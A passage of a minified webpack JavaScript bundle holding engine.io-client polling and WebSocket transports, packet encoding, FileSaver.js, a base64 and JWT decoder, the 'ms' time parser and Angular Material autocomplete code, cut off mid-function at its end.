j=document.createElement("form"),U=document.createElement("textarea"),G=this.iframeId="eio_iframe_"+this.index;j.className="socketio",j.style.position="absolute",j.style.top="-1000px",j.style.left="-1000px",j.target=G,j.method="POST",j.setAttribute("accept-charset","utf-8"),U.name="d",j.appendChild(U),document.body.appendChild(j),this.form=j,this.area=U}function z(){H(),S()}function H(){if(g.iframe)try{g.form.removeChild(g.iframe)}catch(j){g.onError("jsonp polling iframe removal error",j)}try{C=document.createElement(\'<iframe src="javascript:0" name="\'+g.iframeId+\'">\')}catch{C=document.createElement("iframe"),C.name=g.iframeId,C.src="javascript:0"}C.id=g.iframeId,g.form.appendChild(C),g.iframe=C}this.form.action=this.uri(),H(),_=_.replace(u,"\\\\\\n"),this.area.value=_.replace(s,"\\\\n");try{this.form.submit()}catch{}this.iframe.attachEvent?this.iframe.onreadystatechange=function(){"complete"===g.iframe.readyState&&z()}:this.iframe.onload=z}}},2889:(At,ae,d)=>{const n=d(3035),a=d(3904),s=d(1264),{pick:u}=d(5028),c=d(851),f=d(1455)("engine.io-client:polling-xhr");function E(){}const _=null!=new n({xdomain:!1}).responseType;let g=(()=>{class z extends s{constructor(j,U){super(),this.opts=U,this.method=U.method||"GET",this.uri=j,this.async=!1!==U.async,this.data=void 0!==U.data?U.data:null,this.create()}create(){const j=u(this.opts,"agent","enablesXDR","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized");j.xdomain=!!this.opts.xd,j.xscheme=!!this.opts.xs;const U=this.xhr=new n(j),G=this;try{f("xhr open %s: %s",this.method,this.uri),U.open(this.method,this.uri,this.async);try{if(this.opts.extraHeaders){U.setDisableHeaderCheck&&U.setDisableHeaderCheck(!0);for(let Q in this.opts.extraHeaders)this.opts.extraHeaders.hasOwnProperty(Q)&&U.setRequestHeader(Q,this.opts.extraHeaders[Q])}}catch{}if("POST"===this.method)try{U.setRequestHeader("Content-type","text/plain;charset=UTF-8")}catch{}try{U.setRequestHeader("Accept","*/*")}catch{}"withCredentials"in U&&(U.withCredentials=this.opts.withCredentials),this.opts.requestTimeout&&(U.timeout=this.opts.requestTimeout),this.hasXDR()?(U.onload=function(){G.onLoad()},U.onerror=function(){G.onError(U.responseText)}):U.onreadystatechange=function(){4===U.readyState&&(200===U.status||1223===U.status?G.onLoad():setTimeout(function(){G.onError("number"==typeof U.status?U.status:0)},0))},f("xhr data %s",this.data),U.send(this.data)}catch(Q){return void setTimeout(function(){G.onError(Q)},0)}typeof document<"u"&&(this.index=z.requestsCount++,z.requests[this.index]=this)}onSuccess(){this.emit("success"),this.cleanup()}onData(j){this.emit("data",j),this.onSuccess()}onError(j){this.emit("error",j),this.cleanup(!0)}cleanup(j){if(!(typeof this.xhr>"u"||null===this.xhr)){if(this.hasXDR()?this.xhr.onload=this.xhr.onerror=E:this.xhr.onreadystatechange=E,j)try{this.xhr.abort()}catch{}typeof document<"u"&&delete z.requests[this.index],this.xhr=null}}onLoad(){const j=this.xhr.responseText;null!==j&&this.onData(j)}hasXDR(){return typeof XDomainRequest<"u"&&!this.xs&&this.enablesXDR}abort(){this.cleanup()}}return z.requestsCount=0,z.requests={},z})();function C(){for(let z in g.requests)g.requests.hasOwnProperty(z)&&g.requests[z].abort()}typeof document<"u"&&("function"==typeof attachEvent?attachEvent("onunload",C):"function"==typeof addEventListener&&addEventListener("onpagehide"in c?"pagehide":"unload",C,!1)),At.exports=class S extends a{constructor(H){if(super(H),typeof location<"u"){const U="https:"===location.protocol;let G=location.port;G||(G=U?443:80),this.xd=typeof location<"u"&&H.hostname!==location.hostname||G!==H.port,this.xs=H.secure!==U}this.supportsBinary=_&&!(H&&H.forceBase64)}request(H={}){return Object.assign(H,{xd:this.xd,xs:this.xs},this.opts),new g(this.uri(),H)}doWrite(H,j){const U=this.request({method:"POST",data:H}),G=this;U.on("success",j),U.on("error",function(Q){G.onError("xhr post error",Q)})}doPoll(){f("xhr poll");const H=this.request(),j=this;H.on("data",function(U){j.onData(U)}),H.on("error",function(U){j.onError("xhr poll error",U)}),this.pollXhr=H}},At.exports.Request=g},3904:(At,ae,d)=>{const n=d(3330),a=d(3257),s=d(1510),u=d(1067),c=d(1455)("engine.io-client:polling");At.exports=class f extends n{get name(){return"polling"}doOpen(){this.poll()}pause(_){const S=this;function g(){c("paused"),S.readyState="paused",_()}if(this.readyState="pausing",this.polling||!this.writable){let C=0;this.polling&&(c("we are currently polling - waiting to pause"),C++,this.once("pollComplete",function(){c("pre-pause polling complete"),--C||g()})),this.writable||(c("we are currently writing - waiting to pause"),C++,this.once("drain",function(){c("pre-pause writing complete"),--C||g()}))}else g()}poll(){c("polling"),this.polling=!0,this.doPoll(),this.emit("poll")}onData(_){const S=this;c("polling got data %s",_),s.decodePayload(_,this.socket.binaryType).forEach(function(C,z,H){if("opening"===S.readyState&&"open"===C.type&&S.onOpen(),"close"===C.type)return S.onClose(),!1;S.onPacket(C)}),"closed"!==this.readyState&&(this.polling=!1,this.emit("pollComplete"),"open"===this.readyState?this.poll():c(\'ignoring poll - transport state "%s"\',this.readyState))}doClose(){const _=this;function S(){c("writing close packet"),_.write([{type:"close"}])}"open"===this.readyState?(c("transport open - closing"),S()):(c("transport not open - deferring close"),this.once("open",S))}write(_){this.writable=!1,s.encodePayload(_,S=>{this.doWrite(S,()=>{this.writable=!0,this.emit("drain")})})}uri(){let _=this.query||{};const S=this.opts.secure?"https":"http";let g="";return!1!==this.opts.timestampRequests&&(_[this.opts.timestampParam]=u()),!this.supportsBinary&&!_.sid&&(_.b64=1),_=a.encode(_),this.opts.port&&("https"===S&&443!==Number(this.opts.port)||"http"===S&&80!==Number(this.opts.port))&&(g=":"+this.opts.port),_.length&&(_="?"+_),S+"://"+(-1!==this.opts.hostname.indexOf(":")?"["+this.opts.hostname+"]":this.opts.hostname)+g+this.opts.path+_}}},7967:(At,ae,d)=>{const n=d(851);At.exports={WebSocket:n.WebSocket||n.MozWebSocket,usingBrowserWebSocket:!0,defaultBinaryType:"arraybuffer"}},3909:(At,ae,d)=>{const n=d(3330),a=d(1510),s=d(3257),u=d(1067),{pick:c}=d(5028),{WebSocket:f,usingBrowserWebSocket:E,defaultBinaryType:_}=d(7967),S=d(1455)("engine.io-client:websocket"),g=typeof navigator<"u"&&"string"==typeof navigator.product&&"reactnative"===navigator.product.toLowerCase();class C extends n{constructor(H){super(H),this.supportsBinary=!H.forceBase64}get name(){return"websocket"}doOpen(){if(!this.check())return;const H=this.uri(),j=this.opts.protocols,U=g?{}:c(this.opts,"agent","perMessageDeflate","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","localAddress","protocolVersion","origin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(U.headers=this.opts.extraHeaders);try{this.ws=E&&!g?j?new f(H,j):new f(H):new f(H,j,U)}catch(G){return this.emit("error",G)}this.ws.binaryType=this.socket.binaryType||_,this.addEventListeners()}addEventListeners(){const H=this;this.ws.onopen=function(){H.onOpen()},this.ws.onclose=function(){H.onClose()},this.ws.onmessage=function(j){H.onData(j.data)},this.ws.onerror=function(j){H.onError("websocket error",j)}}write(H){const j=this;this.writable=!1;let U=H.length,G=0;const Q=U;for(;G<Q;G++)!function(Ce){a.encodePacket(Ce,j.supportsBinary,function(k){const K={};E||(Ce.options&&(K.compress=Ce.options.compress),j.opts.perMessageDeflate&&("string"==typeof k?Buffer.byteLength(k):k.length)<j.opts.perMessageDeflate.threshold&&(K.compress=!1));try{E?j.ws.send(k):j.ws.send(k,K)}catch{S("websocket closed before onclose event")}--U||(j.emit("flush"),setTimeout(function(){j.writable=!0,j.emit("drain")},0))})}(H[G])}onClose(){n.prototype.onClose.call(this)}doClose(){typeof this.ws<"u"&&(this.ws.close(),this.ws=null)}uri(){let H=this.query||{};const j=this.opts.secure?"wss":"ws";let U="";return this.opts.port&&("wss"===j&&443!==Number(this.opts.port)||"ws"===j&&80!==Number(this.opts.port))&&(U=":"+this.opts.port),this.opts.timestampRequests&&(H[this.opts.timestampParam]=u()),this.supportsBinary||(H.b64=1),H=s.encode(H),H.length&&(H="?"+H),j+"://"+(-1!==this.opts.hostname.indexOf(":")?"["+this.opts.hostname+"]":this.opts.hostname)+U+this.opts.path+H}check(){return!(!f||"__initialize"in f&&this.name===C.prototype.name)}}At.exports=C},5028:At=>{At.exports.pick=(ae,...d)=>d.reduce((n,a)=>(ae.hasOwnProperty(a)&&(n[a]=ae[a]),n),{})},3035:(At,ae,d)=>{const n=d(764),a=d(851);At.exports=function(s){const u=s.xdomain,c=s.xscheme,f=s.enablesXDR;try{if(typeof XMLHttpRequest<"u"&&(!u||n))return new XMLHttpRequest}catch{}try{if(typeof XDomainRequest<"u"&&!c&&f)return new XDomainRequest}catch{}if(!u)try{return new(a[["Active"].concat("Object").join("X")])("Microsoft.XMLHTTP")}catch{}}},7606:At=>{const ae=Object.create(null);ae.open="0",ae.close="1",ae.ping="2",ae.pong="3",ae.message="4",ae.upgrade="5",ae.noop="6";const d=Object.create(null);Object.keys(ae).forEach(a=>{d[ae[a]]=a}),At.exports={PACKET_TYPES:ae,PACKET_TYPES_REVERSE:d,ERROR_PACKET:{type:"error",data:"parser error"}}},3622:(At,ae,d)=>{const{PACKET_TYPES_REVERSE:n,ERROR_PACKET:a}=d(7606);let u;"function"==typeof ArrayBuffer&&(u=d(390));const f=(_,S)=>{if(u){const g=u.decode(_);return E(g,S)}return{base64:!0,data:_}},E=(_,S)=>"blob"===S&&_ instanceof ArrayBuffer?new Blob([_]):_;At.exports=(_,S)=>{if("string"!=typeof _)return{type:"message",data:E(_,S)};const g=_.charAt(0);return"b"===g?{type:"message",data:f(_.substring(1),S)}:n[g]?_.length>1?{type:n[g],data:_.substring(1)}:{type:n[g]}:a}},1e3:(At,ae,d)=>{const{PACKET_TYPES:n}=d(7606),a="function"==typeof Blob||typeof Blob<"u"&&"[object BlobConstructor]"===Object.prototype.toString.call(Blob),s="function"==typeof ArrayBuffer,f=(E,_)=>{const S=new FileReader;return S.onload=function(){const g=S.result.split(",")[1];_("b"+g)},S.readAsDataURL(E)};At.exports=({type:E,data:_},S,g)=>a&&_ instanceof Blob?S?g(_):f(_,g):s&&(_ instanceof ArrayBuffer||(E=>"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(E):E&&E.buffer instanceof ArrayBuffer)(_))?S?g(_):f(new Blob([_]),g):g(n[E]+(_||""))},1510:(At,ae,d)=>{const n=d(1e3),a=d(3622),s=String.fromCharCode(30);At.exports={protocol:4,encodePacket:n,encodePayload:(f,E)=>{const _=f.length,S=new Array(_);let g=0;f.forEach((C,z)=>{n(C,!1,H=>{S[z]=H,++g===_&&E(S.join(s))})})},decodePacket:a,decodePayload:(f,E)=>{const _=f.split(s),S=[];for(let g=0;g<_.length;g++){const C=a(_[g],E);if(S.push(C),"error"===C.type)break}return S}}},9441:function(At,ae){var d,a;void 0!==(a="function"==typeof(d=function(){"use strict";function u(g,C,z){var H=new XMLHttpRequest;H.open("GET",g),H.responseType="blob",H.onload=function(){S(H.response,C,z)},H.onerror=function(){console.error("could not download file")},H.send()}function c(g){var C=new XMLHttpRequest;C.open("HEAD",g,!1);try{C.send()}catch{}return 200<=C.status&&299>=C.status}function f(g){try{g.dispatchEvent(new MouseEvent("click"))}catch{var C=document.createEvent("MouseEvents");C.initMouseEvent("click",!0,!0,window,0,0,0,80,20,!1,!1,!1,!1,0,null),g.dispatchEvent(C)}}var E="object"==typeof window&&window.window===window?window:"object"==typeof self&&self.self===self?self:"object"==typeof global&&global.global===global?global:void 0,_=E.navigator&&/Macintosh/.test(navigator.userAgent)&&/AppleWebKit/.test(navigator.userAgent)&&!/Safari/.test(navigator.userAgent),S=E.saveAs||("object"!=typeof window||window!==E?function(){}:"download"in HTMLAnchorElement.prototype&&!_?function(g,C,z){var H=E.URL||E.webkitURL,j=document.createElement("a");j.download=C=C||g.name||"download",j.rel="noopener","string"==typeof g?(j.href=g,j.origin===location.origin?f(j):c(j.href)?u(g,C,z):f(j,j.target="_blank")):(j.href=H.createObjectURL(g),setTimeout(function(){H.revokeObjectURL(j.href)},4e4),setTimeout(function(){f(j)},0))}:"msSaveOrOpenBlob"in navigator?function(g,C,z){if(C=C||g.name||"download","string"!=typeof g)navigator.msSaveOrOpenBlob(function s(g,C){return typeof C>"u"?C={autoBom:!1}:"object"!=typeof C&&(console.warn("Deprecated: Expected third argument to be a object"),C={autoBom:!C}),C.autoBom&&/^\\s*(?:text\\/\\S*|application\\/xml|\\S*\\/\\S*\\+xml)\\s*;.*charset\\s*=\\s*utf-8/i.test(g.type)?new Blob(["\\ufeff",g],{type:g.type}):g}(g,z),C);else if(c(g))u(g,C,z);else{var H=document.createElement("a");H.href=g,H.target="_blank",setTimeout(function(){f(H)})}}:function(g,C,z,H){if((H=H||open("","_blank"))&&(H.document.title=H.document.body.innerText="downloading..."),"string"==typeof g)return u(g,C,z);var j="application/octet-stream"===g.type,U=/constructor/i.test(E.HTMLElement)||E.safari,G=/CriOS\\/[\\d]+/.test(navigator.userAgent);if((G||j&&U||_)&&typeof FileReader<"u"){var Q=new FileReader;Q.onloadend=function(){var k=Q.result;k=G?k:k.replace(/^data:[^;]*;/,"data:attachment/file;"),H?H.location.href=k:location=k,H=null},Q.readAsDataURL(g)}else{var oe=E.URL||E.webkitURL,Ce=oe.createObjectURL(g);H?H.location=Ce:location.href=Ce,H=null,setTimeout(function(){oe.revokeObjectURL(Ce)},4e4)}});E.saveAs=S.saveAs=S,At.exports=S})?d.apply(ae,[]):d)&&(At.exports=a)},764:At=>{try{At.exports=typeof XMLHttpRequest<"u"&&"withCredentials"in new XMLHttpRequest}catch{At.exports=!1}},3167:At=>{function d(a){this.message=a}(d.prototype=new Error).name="InvalidCharacterError",At.exports=typeof window<"u"&&window.atob&&window.atob.bind(window)||function n(a){var s=String(a).replace(/=+$/,"");if(s.length%4==1)throw new d("\'atob\' failed: The string to be decoded is not correctly encoded.");for(var c,f,u=0,E=0,_="";f=s.charAt(E++);~f&&(c=u%4?64*c+f:f,u++%4)?_+=String.fromCharCode(255&c>>(-2*u&6)):0)f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(f);return _}},6815:(At,ae,d)=>{var n=d(3167);At.exports=function(s){var u=s.replace(/-/g,"+").replace(/_/g,"/");switch(u.length%4){case 0:break;case 2:u+="==";break;case 3:u+="=";break;default:throw"Illegal base64url string!"}try{return function a(s){return decodeURIComponent(n(s).replace(/(.)/g,function(u,c){var f=c.charCodeAt(0).toString(16).toUpperCase();return f.length<2&&(f="0"+f),"%"+f}))}(u)}catch{return n(u)}}},491:(At,ae,d)=>{"use strict";var n=d(6815);function a(s){this.message=s}(a.prototype=new Error).name="InvalidTokenError",At.exports=function(s,u){if("string"!=typeof s)throw new a("Invalid token specified");var c=!0===(u=u||{}).header?0:1;try{return JSON.parse(n(s.split(".")[c]))}catch(f){throw new a("Invalid token specified: "+f.message)}},At.exports.InvalidTokenError=a},4366:At=>{var ae=1e3,d=6e4,n=60*d,a=24*n;function _(S,g,C,z){var H=g>=1.5*C;return Math.round(S/C)+" "+z+(H?"s":"")}At.exports=function(S,g){g=g||{};var C=typeof S;if("string"===C&&S.length>0)return function c(S){if(!((S=String(S)).length>100)){var g=/^(-?(?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(S);if(g){var C=parseFloat(g[1]);switch((g[2]||"ms").toLowerCase()){case"years":case"year":case"yrs":case"yr":case"y":return 315576e5*C;case"weeks":case"week":case"w":return 6048e5*C;case"days":case"day":case"d":return C*a;case"hours":case"hour":case"hrs":case"hr":case"h":return C*n;case"minutes":case"minute":case"mins":case"min":case"m":return C*d;case"seconds":case"second":case"secs":case"sec":case"s":return C*ae;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return C;default:return}}}}(S);if("number"===C&&isFinite(S))return g.long?function E(S){var g=Math.abs(S);return g>=a?_(S,g,a,"day"):g>=n?_(S,g,n,"hour"):g>=d?_(S,g,d,"minute"):g>=ae?_(S,g,ae,"second"):S+" ms"}(S):function f(S){var g=Math.abs(S);return g>=a?Math.round(S/a)+"d":g>=n?Math.round(S/n)+"h":g>=d?Math.round(S/d)+"m":g>=ae?Math.round(S/ae)+"s":S+"ms"}(S);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(S))}},2855:(At,ae,d)=>{"use strict";d.d(ae,{PQ:()=>x,w5:()=>te});var n=d(1281),a=d(3353),s=d(4650),u=d(3238),c=d(2654),f=d(8929),E=d(8514),_=d(6787),S=d(1086),g=d(3753),C=d(6895),z=d(8184),H=d(7261),j=d(445),U=d(9521),G=d(4080),Q=d(4006),oe=d(9549),Ce=d(1059),k=d(7545),K=d(2986),se=d(2198),ee=d(4850),q=d(2868),we=d(8583);const Ye=new s.OlP("mat-autocomplete-default-options",{providedIn:"root",factory:function qe(){return{autoActiveFirstOption:!1,autoSelectActiveOption:!1}}}),De=new s.OlP("mat-autocomplete-scroll-strategy"),ve={provide:De,deps:[z.aV],useFactory:function re(m){return()=>m.scrollStrategies.reposition()}},We={provide:Q.JU,useExisting:(0,s.Gpc)(()=>pe),multi:!0};let Be=(()=>{class m{constructor(B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1,It){this._element=B,this._overlay=ie,this._viewContainerRef=Xe,this._zone=it,this._changeDetectorRef=wt,this._dir=Gt,this._formField=qt,this._document=u1,this._viewportRuler=c1,this._defaults=It,this._componentDestroyed=!1,this._autocompleteDisabled=!1,this._manuallyFloatingLabel=!1,this._viewportSubscription=c.w.EMPTY,this._canOpenOnNextFocus=!0,this._closeKeyEventStream=new f.xQ,this._windowBlurHandler=()=>{this._canOpenOnNextFocus=this._document.activeElement!==this._element.nativeElement||this.panelOpen},this._onChange=()=>{},this._onTouched=()=>{},this.position="auto",this.autocompleteAttribute="off",this._overlayAttached=!1,this.optionSelections=(0,E.P)(()=>{const _t=this.autocomplete?this.autocomplete.options:null;return _t?_t.changes.pipe((0,Ce.O)(_t),(0,k.w)(()=>(0,_.T)(..._t.map(kt=>kt.onSelectionChange)))):this._zone.onStable.pipe((0,K.q)(1),(0,k.w)(()=>this.optionSelections))}),this._scrollStrategy=Vt}get autocompleteDisabled(){return this._autocompleteDisabled}set autocompleteDisabled(B){this._autocompleteDisabled=(0,n.Ig)(B)}ngAfterViewInit(){const B=this._getWindow();typeof B<"u"&&this._zone.runOutsideAngular(()=>B.addEventListener("blur",this._windowBlurHandler))}ngOnChanges(B){B.position&&this._positionStrategy&&(this._setStrategyPositions(this._positionStrategy),this.panelOpen&&this._overlayRef.updatePosition())}ngOnDestroy(){const B=this._getWindow();typeof B<"u"&&B.removeEventListener("blur",this._windowBlurHandler),this._viewportSubscription.unsubscribe(),this._componentDestroyed=!0,this._destroyPanel(),this._closeKeyEventStream.complete()}get panelOpen(){return this._overlayAttached&&this.autocomplete.showPanel}openPanel(){this._attachOverlay(),this._floatLabel()}closePanel(){this._resetLabel(),this._overlayAttached&&(this.panelOpen&&this._zone.run(()=>{this.autocomplete.closed.emit()}),this.autocomplete._isOpen=this._overlayAttached=!1,this._pendingAutoselectedOption=null,this._overlayRef&&this._overlayRef.hasAttached()&&(this._overlayRef.detach(),this._closingActionsSubscription.unsubscribe()),this._componentDestroyed||this._changeDetectorRef.detectChanges())}updatePosition(){this._overlayAttached&&this._overlayRef.updatePosition()}get panelClosingActions(){return(0,_.T)(this.optionSelections,this.autocomplete._keyManager.tabOut.pipe((0,se.h)(()=>this._overlayAttached)),this._closeKeyEventStream,this._getOutsideClickStream(),this._overlayRef?this._overlayRef.detachments().pipe((0,se.h)(()=>this._overlayAttached)):(0,S.of)()).pipe((0,ee.U)(B=>B instanceof u.rN?B:null))}get activeOption(){return this.autocomplete&&this.autocomplete._keyManager?this.autocomplete._keyManager.activeItem:null}_getOutsideClickStream(){return(0,_.T)((0,g.R)(this._document,"click"),(0,g.R)(this._document,"auxclick"),(0,g.R)(this._document,"touchend")).pipe((0,se.h)(B=>{const ie=(0,a.sA)(B),Xe=this._formField?this._formField._elementRef.nativeElement:null,it=this.connectedTo?this.connectedTo.elementRef.nativeElement:null;return this._overlayAttached&&ie!==this._element.nativeElement&&this._document.activeElement!==this._element.nativeElement&&(!Xe||!Xe.contains(ie))&&(!it||!it.contains(ie))&&!!this._overlayRef&&!this._overlayRef.overlayElement.contains(ie)}))}writeValue(B){Promise.resolve(null).then(()=>this._assignOptionValue(B))}registerOnChange(B){this._onChange=B}registerOnTouched(B){this._onTouched=B}setDisabledState(B){this._element.nativeElement.disabled=B}_handleKeydown(B){const ie=B.keyCode,Xe=(0,U.Vb)(B);if(ie===U.hY&&!Xe&&B.preventDefault(),this.activeOption&&ie===U.K5&&this.panelOpen&&!Xe)this.activeOption._selectViaInteraction(),this._resetActiveItem(),B.preventDefault();else if(this.autocomplete){const it=this.autocomplete._keyManager.activeItem,wt=ie===U.LH||ie===U.JH;ie===U.Mf||wt&&!Xe&&this.panelOpen?this.autocomplete._keyManager.onKeydown(B):wt&&this._canOpen()&&this.openPanel(),(wt||this.autocomplete._keyManager.activeItem!==it)&&(this._scrollToOption(this.autocomplete._keyManager.activeItemIndex||0),this.autocomplete.autoSelectActiveOption&&this.activeOption&&(this._pendingAutoselectedOption||(this._valueBeforeAutoSelection=this._element.nativeElement.value),this._pendingAutoselectedOption=this.activeOption,this._assignOptionValue(this.activeOption.value)))}}_handleInput(B){let ie=B.target,Xe=ie.value;"number"===ie.type&&(Xe=""==Xe?null:parseFloat(Xe)),this._previousValue!==Xe&&(this._previousValue=Xe,this._pendingAutoselectedOption=null,this._onChange(Xe),this._canOpen()&&this._document.activeElement===B.target&&this.openPanel())}_handleFocus(){this._canOpenOnNextFocus?this._canOpen()&&(this._previousValue=this._element.nativeElement.value,this._attachOverlay(),this._floatLabel(!0)):this._canOpenOnNextFocus=!0}_handleClick(){this._canOpen()&&!this.panelOpen&&this.openPanel()}_floatLabel(B=!1){this._formField&&"auto"===this._formField.floatLabel&&(B?this._formField._animateAndLockLabel():this._formField.floatLabel="always",this._manuallyFloatingLabel=!0)}_resetLabel(){this._manuallyFloatingLabel&&(this._formField.floatLabel="auto",this._manuallyFloatingLabel=!1)}_subscribeToClosingActions(){const B=this._zone.onStable.pipe((0,K.q)(1)),ie=this.autocomplete.options.changes.pipe((0,q.b)(()=>this._positionStrategy.reapplyLastPosition()),(0,we.g)(0));return(0,_.T)(B,ie).pipe((0,k.w)(()=>(this._zone.run(()=>{const Xe=this.panelOpen;this._resetActiveItem(),this.autocomplete._setVisibility(),this._changeDetectorRef.detectChanges(),this.panelOpen&&this._overlayRef.updatePosition(),Xe!==this.panelOpen&&(this.panelOpen?this.autocomplete.opened.emit():this.autocomplete.closed.emit())}),this.panelClosingActions)),(0,K.q)(1)).subscribe(Xe=>this._setValueAndClose(Xe))}_destroyPanel(){this._overlayRef&&(this.closePanel(),this._overlayRef.dispose(),this._overlayRef=null)}_assignOptionValue(B){const ie=this.autocomplete&&this.autocomplete.displayWith?this.autocomplete.displayWith(B):B;this._updateNativeInputValue(ie??"")}_updateNativeInputValue(B){this._formField?this._formField._control.value=B:this._element.nativeElement.value=B,this._previousValue=B}_setValueAndClose(B){const ie=B?B.source:this._pendingAutoselectedOption;ie&&(this._clearPreviousSelectedOption(ie),this._assignOptionValue(ie.value),this._onChange(ie.value),this.autocomplete._emitSelectEvent(ie),this._element.nativeElement.focus()),this.closePanel()}_clearPreviousSelectedOption(B){this.autocomplete.options.forEach(ie=>{ie!==B&&ie.selected&&ie.deselect()})}_attachOverlay(){let B=this._overlayRef;B?(this._positionStrategy.setOrigin(this._getConnectedElement()),B.updateSize({width:this._getPanelWidth()})):(this._portal=new G.UE(this.autocomplete.template,this._viewContainerRef,{id:this._formField?.getLabelId()}),B=this._overlay.create(this._getOverlayConfig()),this._overlayRef=B,this._handleOverlayEvents(B),this._viewportSubscription=this._viewportRuler.change().subscribe(()=>{this.panelOpen&&B&&B.updateSize({width:this._getPanelWidth()})})),B&&!B.hasAttached()&&(B.attach(this._portal),this._closingActionsSubscription=this._subscribeToClosingActions());const ie=this.panelOpen;this.autocomplete._setVisibility(),this.autocomplete._isOpen=this._overlayAttached=!0,this.panelOpen&&ie!==this.panelOpen&&this.autocomplete.opened.emit()}_getOverlayConfig(){return new z.X_({positionStrategy:this._getOverlayPosition(),scrollStrategy:this._scrollStrategy(),width:this._getPanelWidth(),direction:this._dir,panelClass:this._defaults?.overlayPanelClass})}_getOverlayPosition(){const B=this._overlay.position().flexibleConnectedTo(this._getConnectedElement()).withFlexibleDimensions(!1).withPush(!1);return this._setStrategyPositions(B),this._positionStrategy=B,B}_setStrategyPositions(B){const ie=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],Xe=this._aboveClass,it=[{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom",panelClass:Xe},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom",panelClass:Xe}];let wt;wt="above"===this.position?it:"below"===this.position?ie:[...ie,...it],B.withPositions(wt)}_getConnectedElement(){return this.connectedTo?this.connectedTo.elementRef:this._formField?this._formField.getConnectedOverlayOrigin():this._element}_getPanelWidth(){return this.autocomplete.panelWidth||this._getHostWidth()}_getHostWidth(){return this._getConnectedElement().nativeElement.getBoundingClientRect().width}_resetActiveItem(){const B=this.autocomplete;B.autoActiveFirstOption?B._keyManager.setFirstItemActive():B._keyManager.setActiveItem(-1)}_canOpen(){const B=this._element.nativeElement;return!B.readOnly&&!B.disabled&&!this._autocompleteDisabled}_getWindow(){return this._document?.defaultView||window}_scrollToOption(B){const ie=this.autocomplete,Xe=(0,u.CB)(B,ie.options,ie.optionGroups);if(0===B&&1===Xe)ie._setScrollTop(0);else if(ie.panel){const it=ie.options.toArray()[B];if(it){const wt=it._getHostElement(),Vt=(0,u.jH)(wt.offsetTop,wt.offsetHeight,ie._getScrollTop(),ie.panel.nativeElement.offsetHeight);ie._setScrollTop(Vt)}}}_handleOverlayEvents(B){B.keydownEvents().subscribe(ie=>{(ie.keyCode===U.hY&&!(0,U.Vb)(ie)||ie.keyCode===U.LH&&(0,U.Vb)(ie,"altKey"))&&(this._pendingAutoselectedOption&&(this._updateNativeInputValue(this._valueBeforeAutoSelection??""),this._pendingAutoselectedOption=null),this._closeKeyEventStream.next(),this._resetActiveItem(),ie.stopPropagation(),ie.preventDefault())}),B.outsidePointerEvents().subscribe()}}return m.\\u0275fac=function(B){return new(B||m)(s.Y36(s.SBq),s.Y36(z.aV),s.Y36(s.s_b),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(De),s.Y36(j.Is,8),s.Y36(oe.G_,9),s.Y36(C.K0,8),s.Y36(H.rL),s.Y36(Ye,8))},m.\\u0275dir=s.lG2({type:m,inputs:{autocomplete:["matAutocomplete","autocomplete"],position:["matAutocompletePosition","position"],connectedTo:["matAutocompleteConnectedTo","connectedTo"],autocompleteAttribute:["autocomplete","autocompleteAttribute"],autocompleteDisabled:["matAutocompleteDisabled","autocompleteDisabled"]},features:[s.TTD]}),m})(),pe=(()=>{class m extends Be{constructor(){super(...arguments),this._aboveClass="mat-autocomplete-panel-above"}}return m.\\u0275fac=function(){let b;return function(ie){return(b||(b=s.n5z(m)))(ie||m)}}(),m.\\u0275dir=s.lG2({type:m,selectors:[["input","matAutocomplete",""],["textarea","matAutocomplete",""]],hostAttrs:[1,"mat-autocomplete-trigger"],hostVars:7,hostBindings:function(B,ie){1&B&&s.NdJ("focusin",function(){return ie._handleFocus()})("blur",function(){return ie._onTouched()})("input",function(it){return ie._handleInput(it)})("keydown",function(it){return ie._handleKeydown(it)})("click",function(){return ie._handleClick()}),2&B&&s.uIk("autocomplete",ie.autocompleteAttribute)("role",ie.autocompleteDisabled?null:"combobox")("aria-autocomplete",ie.autocompleteDisabled?null:"list")("aria-activedescendant",ie.panelOpen&&ie.activeOption?ie.activeOption.id:null)("aria-expanded",ie.autocompleteDisabled?null:ie.panelOpen.toString())("aria-owns",ie.autocompleteDisabled||!ie.panelOpen||null==ie.autocomplete?null:ie.autocomplete.id)("aria-haspopup",ie.autocompleteDisabled?null:"listbox")},exportAs:["matAutocompleteTrigger"],features:[s._Bn([We]),s.qOj]}),m})(),P=(()=>{class m{}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275mod=s.oAB({type:m}),m.\\u0275inj=s.cJS({providers:[ve],imports:[z.U8,u.Ng,u.BQ,C.ez,H.ZD,u.Ng,u.BQ]}),m})();var w=d(7392),R=d(4144),X=d(7340);const _e=["input"];function ct(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",7,8),s.NdJ("ngModelChange",function(Xe){s.CHM(B);const it=s.oxw();return s.KtG(it.value=Xe)})("ngModelChange",function(){s.CHM(B);const Xe=s.oxw();return s.KtG(Xe.updateChanges())})("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("ngModel",B.value)("matAutocomplete",B.matAutocomplete)("placeholder",B.placeholder)}}function Je(m,b){if(1&m){const 